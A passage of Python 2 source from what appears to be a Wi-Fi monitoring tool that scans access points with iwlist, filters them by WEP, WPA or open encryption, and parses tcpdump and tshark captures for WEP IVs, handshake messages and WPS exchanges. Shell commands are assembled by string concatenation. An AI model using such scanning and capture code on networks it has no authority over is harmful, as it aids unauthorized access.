            Channel='162'
        if sFreq=='5815':
            Channel='163'
        if sFreq=='5820':
            Channel='164'
        if sFreq=='5825':
            Channel='165'
    return Channel;
               

def GetIWList(cmdMode,SELECTED_IFACE,RETRY):
    if RETRY=="":
        __builtin__.AP_BSSIDList=[];__builtin__.AP_FREQList=[];__builtin__.AP_QUALITYList=[];__builtin__.AP_SIGNALList=[];__builtin__.AP_ENCKEYList=[];__builtin__.AP_ESSIDList=[];__builtin__.AP_MODEList=[];__builtin__.AP_CHANNELList=[];__builtin__.AP_ENCTYPEList=[]
    POPULATE=0
    if len(__builtin__.AP_BSSIDList)>0:
        Result=AskQuestion(fcolor.SGreen + "An existing list with [ " + fcolor.BRed + str(len(__builtin__.AP_BSSIDList)) + fcolor.SGreen + " ] records were found, " + fcolor.BGreen + "populate existing ?","Y/n","U","Y","1")
        if Result=="Y":
            POPULATE=1
        else:
            __builtin__.AP_BSSIDList=[];__builtin__.AP_FREQList=[];__builtin__.AP_QUALITYList=[];__builtin__.AP_SIGNALList=[];__builtin__.AP_ENCKEYList=[];__builtin__.AP_ESSIDList=[];__builtin__.AP_MODEList=[];__builtin__.AP_CHANNELList=[];__builtin__.AP_ENCTYPEList=[]
    cmdMode=cmdMode.upper()
    if cmdMode=="":
        cmdMode="ALL"
    Result=Run("ifconfig " + SELECTED_IFACE + " up","1")
    Result=printc (".","<$rs$>" + "Scanning for Access Point..Please wait..","")
    printl(Result,"1","")
    iwlistfile=appdir + "tmp/scan.lst"
    Result=Run("iwlist " + SELECTED_IFACE + " scanning > " + iwlistfile ,"0")
    printl(fcolor.BGreen + " [Completed]","1","")
    print ""
    statinfo = os.stat(iwlistfile)
    if statinfo.st_size==0:
        printc ("@",fcolor.SRed + "Scanning failed to get any access point..Retrying in 5 seconds..","5")
        GetIWList(cmdMode,SELECTED_IFACE,"1")
        return
    f = open( iwlistfile, "r" )
    __builtin__.AP_BSSID="";__builtin__.AP_FREQ="";__builtin__.AP_QUALITY="";__builtin__.AP_SIGNAL="";__builtin__.AP_ENCKEY="";__builtin__.AP_ESSID="";__builtin__.AP_MODE="";__builtin__.AP_CHANNEL="";__builtin__.AP_ENCTYPE=""
    if POPULATE=="1":
        printc (".","Populating current list...","")
    for line in f:
        line=line.replace("\n","").lstrip().rstrip()
        if line.find("Cell ")!=-1:
            if __builtin__.AP_BSSID!="" and __builtin__.AP_MODE!="":
                if __builtin__.AP_ENCTYPE=="" and __builtin__.AP_ENCKEY=="ON":
                    __builtin__.AP_ENCTYPE="WEP"
                if __builtin__.AP_ENCTYPE=="" and __builtin__.AP_ENCKEY=="OFF":
                    __builtin__.AP_ENCTYPE="OPEN"
                if __builtin__.AP_ENCTYPE=="WPA2/WPA":
                    __builtin__.AP_ENCTYPE=="WPA/WPA2"
                ADD=""
                if cmdMode=="ALL-S" and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="":
                    ADD="1"
                if cmdMode=="ALL":
                    ADD="1"
                if cmdMode=="WPA-S" and __builtin__.AP_ENCTYPE.find("WPA")!=-1 and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="" and len(__builtin__.AP_ESSID)>2:
                    ADD="1"
                if cmdMode=="WPA" and __builtin__.AP_ENCTYPE.find("WPA")!=-1:
                    ADD="1"
                if cmdMode=="WEP-S" and __builtin__.AP_ENCTYPE.find("WEP")!=-1 and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="" and len(__builtin__.AP_ESSID)>2:
                    ADD="1"
                if cmdMode=="WEP" and __builtin__.AP_ENCTYPE.find("WEP")!=-1:
                    ADD="1"
                if cmdMode=="OPN-S" and __builtin__.AP_ENCTYPE.find("OPEN")!=-1 and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="" and len(__builtin__.AP_ESSID)>2:
                    ADD="1"
                if cmdMode=="OPN" and __builtin__.AP_ENCTYPE.find("OPEN")!=-1:
                    ADD="1"
                if str(POPULATE)=="1":
                    if any(__builtin__.AP_BSSID in s for s in __builtin__.AP_BSSIDList):
                        ADD="0"
                if ADD=="1":
                    if int(__builtin__.AP_QUALITY[:2])<=35:
                        SNLColor=fcolor.IRed
                        BSNLColor=fcolor.BIRed
                    if int(__builtin__.AP_QUALITY[:2])>35 and int(__builtin__.AP_QUALITY[:2])<55:
                        SNLColor=fcolor.IYellow
                        BSNLColor=fcolor.BIYellow
                    if int(__builtin__.AP_QUALITY[:2])>=55:
                        SNLColor=fcolor.IGreen
                        BSNLColor=fcolor.BIGreen
                    if __builtin__.AP_ENCTYPE.find("WPA")!=-1:
                        __builtin__.AP_ENCTYPE=fcolor.IPink + __builtin__.AP_ENCTYPE
                        __builtin__.AP_BSSID=SNLColor + __builtin__.AP_BSSID
                    if __builtin__.AP_ENCTYPE.find("OPEN")!=-1:
                        __builtin__.AP_ENCTYPE=fcolor.IBlue + __builtin__.AP_ENCTYPE
                        __builtin__.AP_BSSID=SNLColor + __builtin__.AP_BSSID
                    if __builtin__.AP_ENCTYPE.find("WEP")!=-1:
                        __builtin__.AP_ENCTYPE=fcolor.ICyan + __builtin__.AP_ENCTYPE
                        __builtin__.AP_BSSID=SNLColor + __builtin__.AP_BSSID
                    __builtin__.AP_BSSIDList.append(str(__builtin__.AP_BSSID))
                    __builtin__.AP_FREQList.append(str(__builtin__.AP_FREQ))
                    __builtin__.AP_QUALITYList.append(SNLColor + str(__builtin__.AP_QUALITY))
                    __builtin__.AP_SIGNALList.append(SNLColor + str(__builtin__.AP_SIGNAL))
                    __builtin__.AP_ENCKEYList.append(str(__builtin__.AP_ENCKEY))
                    __builtin__.AP_ESSIDList.append(str(BSNLColor + __builtin__.AP_ESSID))
                    __builtin__.AP_MODEList.append(str(__builtin__.AP_MODE))
                    __builtin__.AP_CHANNELList.append(str(__builtin__.AP_CHANNEL))
                    __builtin__.AP_ENCTYPEList.append(str(__builtin__.AP_ENCTYPE))
                __builtin__.AP_BSSID="";__builtin__.AP_FREQ="";__builtin__.AP_QUALITY="";__builtin__.AP_CHANNEL="";__builtin__.AP_SIGNAL="";__builtin__.AP_ENCKEY="";__builtin__.AP_ESSID="";__builtin__.AP_MODE="";__builtin__.AP_ENCTYPE=""
            POS=line.index('Address:')
            if POS>-1:
                POS=POS+9
                __builtin__.AP_BSSID=str(line[POS:])
        if __builtin__.AP_BSSID!="" and line.find("Channel:")!=-1:
            POS=line.index('Channel:')
            if POS>-1:
                POS=POS+8
                __builtin__.AP_CHANNEL=str(line[POS:])
        if __builtin__.AP_BSSID!="" and line.find("Frequency:")!=-1:
            POS=line.index('Frequency:')
            if POS>-1:
                POS=POS+10
                __builtin__.AP_FREQ=str(line[POS:])
                POS=__builtin__.AP_FREQ.index(' (')
                if POS>-1:
                    __builtin__.AP_FREQ=str(__builtin__.AP_FREQ[:POS])
        if __builtin__.AP_BSSID!="" and line.find("Quality=")!=-1:
            POS=line.index('Quality=')
            if POS>-1:
                POS=POS+8
                __builtin__.AP_QUALITY=str(line[POS:])
                POS=__builtin__.AP_QUALITY.index(' ')
                if POS>-1:
                    __builtin__.AP_QUALITY=str(__builtin__.AP_QUALITY[:POS])
        if __builtin__.AP_BSSID!="" and line.find("Signal level=")!=-1:
            POS=line.index('Signal level=')
            if POS>-1:
                POS=POS+13
                __builtin__.AP_SIGNAL=str(line[POS:])
        if __builtin__.AP_BSSID!="" and line.find("Encryption key:")!=-1:
            POS=line.index('Encryption key:')
            if POS>-1:
                POS=POS+15
                __builtin__.AP_ENCKEY=str(line[POS:]).upper()
        if __builtin__.AP_BSSID!="" and line.find("ESSID:")!=-1:
            POS=line.index('ESSID:')
            if POS>-1:
                POS=POS+6
                __builtin__.AP_ESSID=str(line[POS:])
        if __builtin__.AP_BSSID!="" and line.find("Mode:")!=-1:
            POS=line.index('Mode:')
            if POS>-1:
                POS=POS+5
                __builtin__.AP_MODE=str(line[POS:])
        if __builtin__.AP_BSSID!="" and line.find("WPA2 Version")!=-1:
            if __builtin__.AP_ENCTYPE!="": 
                if __builtin__.AP_ENCTYPE.find("WPA2")==-1:
                    __builtin__.AP_ENCTYPE=__builtin__.AP_ENCTYPE + "/WPA2"
            else:
                __builtin__.AP_ENCTYPE=__builtin__.AP_ENCTYPE + "WPA2"
        if __builtin__.AP_BSSID!="" and line.find("WPA Version")!=-1:
            if __builtin__.AP_ENCTYPE!="": 
                __builtin__.AP_ENCTYPE=__builtin__.AP_ENCTYPE + "/WPA"
            else:
                __builtin__.AP_ENCTYPE=__builtin__.AP_ENCTYPE + "WPA"
        __builtin__.AP_ENCTYPE=__builtin__.AP_ENCTYPE.replace("\n","")
        if __builtin__.AP_ENCTYPE=="WPA2/WPA":
            __builtin__.AP_ENCTYPE="WPA/WPA2"
    f.close()
    if __builtin__.AP_BSSID!="" and __builtin__.AP_MODE!="":
        if __builtin__.AP_ENCTYPE=="" and __builtin__.AP_ENCKEY=="ON":
            __builtin__.AP_ENCTYPE="WEP"
        if __builtin__.AP_ENCTYPE=="" and __builtin__.AP_ENCKEY=="OFF":
            __builtin__.AP_ENCTYPE="OPEN"
        if __builtin__.AP_ENCTYPE=="WPA2/WPA":
            __builtin__.AP_ENCTYPE=="WPA/WPA2"
        ADD=""
        if cmdMode=="ALL-S" and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="":
            ADD="1"
        if cmdMode=="ALL":
            ADD="1"
        if cmdMode=="WPA-S" and __builtin__.AP_ENCTYPE.find("WPA")!=-1 and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="" and len(__builtin__.AP_ESSID)>2:
            ADD="1"
        if cmdMode=="WPA" and __builtin__.AP_ENCTYPE.find("WPA")!=-1:
            ADD="1"
        if cmdMode=="WEP-S" and __builtin__.AP_ENCTYPE.find("WEP")!=-1 and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="" and len(__builtin__.AP_ESSID)>2:
            ADD="1"
        if cmdMode=="WEP" and __builtin__.AP_ENCTYPE.find("WEP")!=-1:
            ADD="1"
        if cmdMode=="OPN-S" and __builtin__.AP_ENCTYPE.find("OPEN")!=-1 and __builtin__.AP_ESSID.find("\\x")==-1 and __builtin__.AP_ESSID!="" and len(__builtin__.AP_ESSID)>2:
            ADD="1"
        if cmdMode=="OPN" and __builtin__.AP_ENCTYPE.find("OPEN")!=-1:
            ADD="1"
        if ADD=="1":
            if int(__builtin__.AP_QUALITY[:2])<=35:
                SNLColor=fcolor.IRed
                BSNLColor=fcolor.BIRed
            if int(__builtin__.AP_QUALITY[:2])>35 and int(__builtin__.AP_QUALITY[:2])<55:
                SNLColor=fcolor.IYellow
                BSNLColor=fcolor.BIYellow
            if int(__builtin__.AP_QUALITY[:2])>=55:
                SNLColor=fcolor.IGreen
                BSNLColor=fcolor.BIGreen
            if __builtin__.AP_ENCTYPE.find("WPA")!=-1:
                __builtin__.AP_ENCTYPE=fcolor.IPink + __builtin__.AP_ENCTYPE
                __builtin__.AP_BSSID=SNLColor + __builtin__.AP_BSSID
            if __builtin__.AP_ENCTYPE.find("OPEN")!=-1:
                __builtin__.AP_ENCTYPE=fcolor.IBlue + __builtin__.AP_ENCTYPE
                __builtin__.AP_BSSID=SNLColor + __builtin__.AP_BSSID
            if __builtin__.AP_ENCTYPE.find("WEP")!=-1:
                __builtin__.AP_ENCTYPE=fcolor.ICyan + __builtin__.AP_ENCTYPE
                __builtin__.AP_BSSID=SNLColor + __builtin__.AP_BSSID
            __builtin__.AP_BSSIDList.append(str(__builtin__.AP_BSSID))
            __builtin__.AP_FREQList.append(str(__builtin__.AP_FREQ))
            __builtin__.AP_QUALITYList.append(SNLColor + str(__builtin__.AP_QUALITY))
            __builtin__.AP_SIGNALList.append(SNLColor + str(__builtin__.AP_SIGNAL))
            __builtin__.AP_ENCKEYList.append(str(__builtin__.AP_ENCKEY))
            __builtin__.AP_ESSIDList.append(str(BSNLColor + __builtin__.AP_ESSID))
            __builtin__.AP_MODEList.append(str(__builtin__.AP_MODE))
            __builtin__.AP_CHANNELList.append(str(__builtin__.AP_CHANNEL))
            __builtin__.AP_ENCTYPEList.append(str(__builtin__.AP_ENCTYPE))
        __builtin__.AP_BSSID="";__builtin__.AP_FREQ="";__builtin__.AP_QUALITY="";__builtin__.AP_CHANNEL="";__builtin__.AP_SIGNAL="";__builtin__.AP_ENCKEY="";__builtin__.AP_ESSID="";__builtin__.AP_MODE="";__builtin__.AP_ENCTYPE=""

def ConvertPackets(Display):
    spacing=""   # tabspacefull
    if IsFileDirExist(__builtin__.PacketDumpFileBak)=="F":
        GetFileDetail(__builtin__.PacketDumpFileBak)
        
        statinfo = os.stat(__builtin__.PacketDumpFileBak)
        ADDMSG=fcolor.SWhite + "[Packet size : " + str(__builtin__.FileSize) + "]"
        __builtin__.CurrentPacket=__builtin__.PacketDumpFileBak
        if statinfo.st_size>3145728:
            ADDMSG=ADDMSG + fcolor.SRed + "  (File > 3mb, will take some time to complete.)" 
        if Display!="":
            printl (spacing + fcolor.SGreen + "Converting Captured Packets...TCPDump, " + str(ADDMSG) + fcolor.SGreen,"0","")
        ps=subprocess.Popen("tcpdump -r " + str(__builtin__.PacketDumpFileBak) + " -e -vvv -t -nn > " + str(__builtin__.TCPDumpFileBak), shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait();ps.stdout.close()
        if Display!="":
            printl (spacing + fcolor.SGreen + "Converting Captured Packets...TShark, " + str(ADDMSG),"0","")
        ps=subprocess.Popen("tshark -r " + str(__builtin__.PacketDumpFileBak) + " -n -o column.format:'Time','%Cus:frame.time_epoch','ESSID','%Cus:wlan_mgt.ssid','Time','%Cus:frame.time_epoch','FN','%Cus:frame.number','SN','%Cus:wlan.seq','Duration','%Cus:wlan.duration','FCType','%Cus:wlan.fc.type','FCSub','%Cus:wlan.fc.type_subtype','FC','%Cus:wlan.fc','Protocol','%Cus:frame.protocols','DataRate','%Cus:radiotap.datarate','Pwr','%Cus:radiotap.dbm_antsignal','Freq','%Cus:radiotap.channel.freq','SA','%Cus:wlan.sa','DA','%Cus:wlan.da','TA','%Cus:wlan.ta','RA','%Cus:wlan.ra','BSSID','%Cus:wlan.bssid','FLen','%Cus:frame.len','DLen','%Cus:data.len','WEPKey','%Cus:wlan.wep.key','WEPIV','%Cus:wlan.wep.iv','WEPIVS','%Cus:wlan.wep.icv','TKIP','%Cus:wlan.tkip.extiv','Proto','%p','info','%i' > " + str(__builtin__.TSharkFileBak), shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        ps.wait()
    __builtin__.SHOWRESULT=3
    RewriteNewPacket()
    __builtin__.SHOWRESULT=0
    if Display!="":
        printl (spacing + fcolor.BGreen + "Packet Conversion Done..","0","")

def RephaseLine(line):
    line=line.replace("Control frame,Control frame Control Wrapper,","Control ").replace("0xef74,0xd1b6","0xef74/d1b6").replace(" (No Data)","").replace("(No Data)","").replace("QoS CF-Ack + CF-Poll","QOS_CF-Ack+CF-Poll")
    line=line.replace("Beacon frame","Beacon").replace("QoS Null function","QoS_Null").replace("QoS Data","QoS_Data").replace("Probe Request","Probe_Request").replace("Probe Response","Probe_Response").replace(" (RA)","").replace(" (TA)","").replace("802.11 Block Ack Req","802.11-Block-Ack-Req").replace("Block Ack Req","Block-Ack-Req").replace("802.11 Block Ack","802.11-Block-Ack").replace("Fragmented IEEE 802.11 frame","Fragmented_Frame").replace("Unrecognized (Reserved frame)","Unrecognized").replace(" (No data)","").replace(" (Control-frame)","").replace("Association Response","Association_Response").replace("Association Request","Association_Request").replace("Null function","Null_Function").replace(" (Reserved frame)","").replace("Measurement Pilot","Measurement_Pilot").replace(" (BSSID)","").replace("Action No Ack","Action-No-Ack").replace("Data frame","Data").replace("Management frame","Management").replace(",Control frame Control Wrapper,Power-Save poll","Power-Save").replace("Control frame","Control").replace("CF-End + CF-Ack","CF-End+CF-Ack").replace("[Malformed Packet]","<Malformed>").replace("Control Wrapper","Control_Wrapper").replace("Aruba Management","Aruba_Management")
    line=line.replace("QOS_DATA + CF-ACKNOWLEDGEMENT","QoS_Data+CF-Ack").replace("QoS_Data + CF-Poll","QoS_Data+CF-Poll").replace("Reassociation Request","Reassociation_Request").replace("Reassociation Response","Reassociation_Response").replace("Disassociation Request","Disassociation_Request").replace("Disassociation Response","Disassociation_Response").replace("Authenticaition Request","Authenticaition_Request").replace("Authenticaition Response","Authenticaition_Response").replace("Deauthenticaition Request","Deauthenticaition_Request").replace("Deauthenticaition Response","Deauthenticaition_Response").replace("Power-Save poll","Power-Save-Poll").replace("QoS CF","Qos_CF")
    line=line.replace("Key (Message 1 of 4)","KeyMSG-1/4").replace("Key (Message 2 of 4)","KeyMSG-2/4").replace("Key (Message 3 of 4)","KeyMSG-3/4").replace("Key (Message 4 of 4)","KeyMSG-4/4").replace("EAP Request, ","EAP_REQ\t").replace("EAP Response, ","EAP_RSP\t").replace(" + ","+")
    line=line.replace("Expanded Type, WPS, WSC_DONE","ET_WPS_WSC_DONE").replace("Expanded Type, WPS, M1","ET_WPS_M1").replace("Expanded Type, WPS, M2","ET_WPS_M2").replace("Expanded Type, WPS, M3","ET_WPS_M3").replace("Expanded Type, WPS, M4","ET_WPS_M4").replace("Expanded Type, WPS, M5","ET_WPS_M5").replace("Expanded Type, WPS, M6","ET_WPS_M6").replace("Expanded Type, WPS, M7","ET_WPS_M7").replace("Expanded Type, WPS, M8","ET_WPS_M8").replace("Expanded Type, WPS","ET_WPS")
    line=line.replace("\n","").replace("\r","").replace(", Flag","\tFlag").replace(", ","\t")
    line=line.replace(" frame ","\t")
    line=line.replace(" ","\t")
    line=line + "\t.\t.\t."
    line=str(line).lstrip().rstrip()
    return line

def RewriteNewPacket():
    spacing="" # tabspacefull
    linecount=0;lineblock=0
    if IsFileDirExist(__builtin__.TSharkFileBak)=="F":
        DATASTR="F.Num" + "\t" + "Seq.No" + "\t" + "Date/Time" + "\t" + "Duration" + "\t" + "F.Type" + "\t" + "F.SubType" + "\t" + "FCF" + "\t" + "Protocol" + "\t" + "DataRate" + "\t" + "Signal" + "\t" + "Freq" + "\t" + "Src.MAC" + "\t" + "Dst.MAC" + "\t" + "SA" + "\t" + "DA" + "\t" + "TA" + "\t" + "RA" + "\t" + "BSSID" + "\t" + "F.Len" + "\t" + "Len" + "\t" + "WEP.Key" + "\t" + "WEP.IV" + "\t" + "WEP.ICV" + "\t" + "TKIP.IV" + "\t" + "N.Type" + "\t" + "Command" + "\t" + "Flags" + "\n" 
        open(__builtin__.TSharkFileBak2,"w").write(DATASTR)
        Result=GetFileLine(__builtin__.TSharkFileBak,"1")
        with open(__builtin__.TSharkFileBak,"r") as f:
            for line in f:
                linecount += 1;lineblock += 1
                if __builtin__.SHOWRESULT==3 and lineblock==100:
                    completed=Percent(linecount / float(__builtin__.TotalLine),2)
                    printl (spacing + fcolor.SGreen + "Rewriting Result...TShark - " + str(completed),"0","")
                    lineblock=0
                tmplist=[]
                lineini=line 
                WriteLine=0
                pos=0
                if len(line)>60:
                    if line.find(" ")!=-1:
                        pos=line.index(' ')
                if pos==20:
                    DT_Date=line[:20]
                    line=line[21:]
                    pos=line.find(DT_Date)
                    if pos!=-1:
                       pos=pos-1
                       DT_ESSID=line[:pos]
                       pos=pos+22
                       line=line[pos:]
                       WriteLine=1
                if WriteLine==1:
                    line=RephaseLine(line)
                    tmplist=line.split("\t")
                    if len(tmplist)==25:
                        printc ("x","","")
                
                    if len(tmplist)>25:
                        CColor=fcolor.SRed
                        DT_FN=tmplist[0]				# Frame Number
                        DT_SN=tmplist[1]				# Seq Number
                        if len(DT_Date)==20:
                            DT_Date=ConvertEpoch(DT_Date)	# Frame Date/Time
                            CColor=fcolor.SGreen
                        DT_SSID=""
                        DT_Duration=tmplist[2]				# Duration
                        DT_FType=GetFrameType(tmplist[3])		# Framce Control Type
                        DT_FSubType=GetFrameSubType(tmplist[4])		# Framce Control SubType
                        DT_FCF=tmplist[5] 				# Frame Control Field
                        DT_FProtocol=tmplist[6]				# Frame Protocols
                        DT_DataRate=tmplist[7] + " Mb/s"		# Datarate
                        DT_Signal=tmplist[8] + "dB"			# Signal
                        DT_Freq=tmplist[9] + " MHz"			# Frequency
                        DT_SA=AdjustMAC(str(tmplist[10]))		# Src Address
                        DT_DA=AdjustMAC(str(tmplist[11]))		# Dst Address
                        DT_TA=AdjustMAC(str(tmplist[12]))		# Transmission Address
                        DT_RA=AdjustMAC(str(tmplist[13]))		# Recieving Address
                        DT_BSSID=AdjustMAC(str(tmplist[14]))		# BSSID    
                        DT_SRCMAC=""
                        DT_DSTMAC=""
                        if RemoveUnwantMAC(DT_TA)!="" and RemoveUnwantMAC(DT_RA)!="":
                            DT_SRCMAC=DT_TA
                            DT_DSTMAC=DT_RA
                        if RemoveUnwantMAC(DT_TA)=="" and RemoveUnwantMAC(DT_RA)!="" and RemoveUnwantMAC(DT_SA)=="" and RemoveUnwantMAC(DT_DA)=="":
                            DT_SRCMAC="FF:FF:FF:FF:FF:FF"
                            DT_DSTMAC=DT_RA
                        if RemoveUnwantMAC(DT_TA)!="" and RemoveUnwantMAC(DT_RA)=="" and RemoveUnwantMAC(DT_SA)=="" and RemoveUnwantMAC(DT_DA)=="":
                            DT_SRCMAC=DT_TA
                            DT_DSTMAC="FF:FF:FF:FF:FF:FF"
                        if RemoveUnwantMAC(DT_TA)!="" and RemoveUnwantMAC(DT_RA)!="" and RemoveUnwantMAC(DT_SA)=="" and RemoveUnwantMAC(DT_DA)=="":
                            DT_SRCMAC=DT_TA
                            DT_DSTMAC=DT_RA
                        if RemoveUnwantMAC(DT_SA)!="" and RemoveUnwantMAC(DT_DA)=="" and RemoveUnwantMAC(DT_TA)=="" and RemoveUnwantMAC(DT_RA)=="":
                            DT_SRCMAC=DT_SA
                            DT_DSTMAC=DT_DA
                        if RemoveUnwantMAC(DT_SA)!="" and RemoveUnwantMAC(DT_DA)!="":
                            DT_SRCMAC=DT_SA
                            DT_DSTMAC=DT_DA
                        if RemoveUnwantMAC(DT_SA)!="" and RemoveUnwantMAC(DT_TA)=="" and RemoveUnwantMAC(DT_RA)=="":
                            DT_SRCMAC=DT_SA
                            DT_DSTMAC=DT_DA
                        if RemoveUnwantMAC(DT_SA)!="" and RemoveUnwantMAC(DT_SA)!=RemoveUnwantMAC(DT_BSSID) and RemoveUnwantMAC(DT_DA)=="":
                            DT_SRCMAC=DT_SA
                            DT_DSTMAC=DT_BSSID
                        if RemoveUnwantMAC(DT_SA)=="" and RemoveUnwantMAC(DT_DA)=="" and RemoveUnwantMAC(DT_TA)=="" and RemoveUnwantMAC(DT_RA)=="":
                            DT_SRCMAC="XX:XX:XX:XX:XX:XX"
                            DT_DSTMAC="XX:XX:XX:XX:XX:XX"
                        DT_FLEN=tmplist[15]				# Frame Len
                        DT_LEN=tmplist[16]				# Data Len
                        DT_WEPKEY=tmplist[17]				# WEP KEY
                        DT_WEPIV=tmplist[18]				# WEP IV
                        DT_WEPICV=tmplist[19]				# WEP ICV
                        DT_TKIPIV=tmplist[20]				# TKIP EXTIV
                        DT_NTYPE=tmplist[21]				# 802.11
                        DT_NTYPE=str(DT_NTYPE).replace("IEEE ","")
                        DT_CMD=tmplist[22]				# FRAME TYPE
                        DT_FLAGS="";DT_FNA="";DT_SNA=""
                        cma=23
                        while cma<len(tmplist):
                            CMDA=tmplist[cma]		
                            if str(CMDA).find("Flags=")!=-1:
                                DT_FLAGS=CMDA
                                DT_FLAGS=DT_FLAGS[6:]
                            if str(CMDA).find("SN=")!=-1:
                                DT_SNA=CMDA
                                DT_SNA=DT_SNA[3:]
                            if str(CMDA).find("FN=")!=-1:
                                DT_FNA=CMDA
                                DT_FNA=DT_FNA[3:]
                            if str(CMDA).find("SSID=")!=-1:
                                DT_SSID=CMDA
                                DT_SSID=DT_SSID[5:]
                                if DT_SSID=="Broadcast":
                                    DT_SSID="<<Broadcast>>"
                            if DT_ESSID=="" and DT_SSID!="":
                                DT_ESSID=DT_SSID
                          
                            cma += 1
                        ToDisplay=0
                        if ToDisplay==1:
                            print ""
                            print CColor + "00 DT_FN\t: " + str(DT_FN)
                            print "00 DT_FN\t: " + str(DT_FN)    
                            print "01 DT_SN\t: " + str(DT_SN)    
                            print "-- DT_Date\t: " + str(DT_Date)
                            print "02 DT_Duration\t: " + str(DT_Duration)
                            print "03 DT_FType\t: " + str(DT_FType)
                            print "04 DT_FSubType\t: " + str(DT_FSubType)
                            print "05 DT_FCF\t: " + str(DT_FCF)
                            print "06 DT_FProtocol\t: " + str(DT_FProtocol)
                            print "07 DT_DataRate\t: " + str(DT_DataRate)
                            print "08 DT_Signal\t: " + str(DT_Signal)
                            print "09 DT_Freq\t: " + str(DT_Freq)
                            print "10 DT_SA\t: " + str(DT_SA)
                            print "11 DT_DA\t: " + str(DT_DA)
                            print "12 DT_TA\t: " + str(DT_TA)
                            print "13 DT_RA\t: " + str(DT_RA)    
                            print "14 DT_BSSID\t: " + str(DT_BSSID)
                            print "-- DT_SRCMAC\t: " + str(DT_SRCMAC)
                            print "-- DT_DSTMAC\t: " + str(DT_DSTMAC)    
                            print "15 DT_FLEN\t: " + str(DT_FLEN)    
                            print "16 DT_LEN\t: " + str(DT_LEN)
                            print "17 DT_WEPKEY\t: " + str(DT_WEPKEY)
                            print "18 DT_WEPIV\t: " + str(DT_WEPIV)
                            print "19 DT_WEPICV\t: " + str(DT_WEPICV)
                            print "20 DT_TKIPIV\t: " + str(DT_TKIPIV)
                            print "-- DT_ESSID\t: " + str(DT_ESSID)
                            print "-- DT_SSID\t: " + str(DT_SSID)
                            print "21 DT_NTYPE\t: " + str(DT_NTYPE)
                            print "22 DT_CMD\t: " + str(DT_CMD)
                            print "-- DT_FLAGS\t: " + str(DT_FLAGS)
                            print "-- DT_FNA\t: " + str(DT_FNA)
                            print "-- DT_SNA\t: " + str(DT_SNA)
                            print "\n"
                            if CColor==fcolor.SRed:
                                printc ("x","","")
                    DATASTR=DT_FN + "\t" + DT_SN + "\t" + DT_Date + "\t" + DT_Duration + "\t" + DT_FType + "\t" + DT_FSubType + "\t" + DT_FCF + "\t" + DT_FProtocol + "\t" + DT_DataRate + "\t" + DT_Signal + "\t" + DT_Freq + "\t" + DT_SRCMAC+ "\t" + DT_DSTMAC+ "\t" + DT_SA+ "\t" + DT_DA + "\t" + DT_TA + "\t" + DT_RA + "\t" + DT_BSSID + "\t" + DT_FLEN + "\t" + DT_LEN + "\t" + DT_WEPKEY + "\t" + DT_WEPIV + "\t" + DT_WEPICV + "\t" + DT_TKIPIV + "\t" + DT_ESSID + "\t" + DT_NTYPE + "\t" + DT_CMD + "\t" + DT_FLAGS + "\n" 
                    open(__builtin__.TSharkFileBak2,"a+b").write(DATASTR)

def AdjustMAC(sMAC):
    sMAC=str(sMAC).upper().lstrip().rstrip()
    if sMAC=="":
        sMAC="XX:XX:XX:XX:XX:XX"
    return sMAC

def GetFrameType(FType):
    FType=str(FType).upper()
    if FType=="0":
        return "MGT" # Management
    if FType=="1":
        return "CTL" # Control
    if FType=="2":
        return "DTA" # Data
    if FType=="3":
        return "RSV" # Reserved
    return FType

def GetFrameSubType(subType):
    subType=str(subType).upper().replace("0X","")
    if subType=="00":
        return "Association_Request"
    if subType=="01":
        return "Association_Response"
    if subType=="02":
        return "Reassociation_Request"
    if subType=="03":
        return "Reassociation_Response"
    if subType=="04":
        return "Probe_Request"
    if subType=="05":
        return "Probe_Response"
    if subType=="08":
        return "Beacon"
    if subType=="09":
        return "ATIM"
    if subType=="0A":
        return "Disassociation"
    if subType=="0B":
        return "Authentication"
    if subType=="0C":
        return "Deauthentication"
    if subType=="0D":
        return "Action"
    if subType=="18":
        return "Block-Ack-Request"
    if subType=="19":
        return "Block-Ack"
    if subType=="1A":
        return "PS-Poll"
    if subType=="1B":
        return "RTS"
    if subType=="1C":
        return "CTS"
    if subType=="1D":
        return "ACK"
    if subType=="1E":
        return "CF-End"
    if subType=="1F":
        return "CF-End+CF-Ack"
    if subType=="20":
        return "Data"
    if subType=="21":
        return "Data+Ack"
    if subType=="22":
        return "Data+CF-Poll"
    if subType=="23":
        return "Data+CF_Ack+CF-Poll"
    if subType=="24":
        return "Null"
    if subType=="25":
        return "CF-Ack"
    if subType=="26":
        return "CF-Poll"
    if subType=="27":
        return "CF-Ack+CF-Poll"
    if subType=="28":
        return "QoS_Data"
    if subType=="29":
        return "QoS_Data+CF-Ack"
    if subType=="2A":
        return "QoS-Data+CF-Poll"
    if subType=="2B":
        return "QoS_Data+CF-Ack+CF-Poll"
    if subType=="2C":
        return "QoS_Null"
    if subType=="2D":
        return "Reserved"
    if subType=="2E":
        return "QoS+CF-Poll(ND)"
    if subType=="2F":
        return "QoS+CF-Ack(ND)"
    return subType
    

def ConvertEpoch(sTime):
    return datetime.datetime.fromtimestamp(float(sTime)).strftime('%Y-%m-%d %H:%M:%S')

def DeleteExistingPacketFiles():
    if IsFileDirExist(__builtin__.TCPDumpFileBak)=="F":
        os.remove(__builtin__.TCPDumpFileBak)
    if IsFileDirExist(__builtin__.TSharkFileBak_Std)=="F":
        os.remove(__builtin__.TSharkFileBak_Std)
    if IsFileDirExist(__builtin__.TSharkFileBak)=="F":
        os.remove(__builtin__.TSharkFileBak)
    if IsFileDirExist(__builtin__.TSharkFileBak2)=="F":
        os.remove(__builtin__.TSharkFileBak2)

def AnalyseTCPnTShark():
    __builtin__.SHOWRESULT=3
    spacing="" # tabspacefull
    printl (spacing + fcolor.SGreen + "Analysing Packets...TShark","0","")
    AnalyseTShark("")
    printl (spacing + fcolor.SGreen + "Analysing Packets...TCPDump","0","")
    AnalyseTCPDump("")
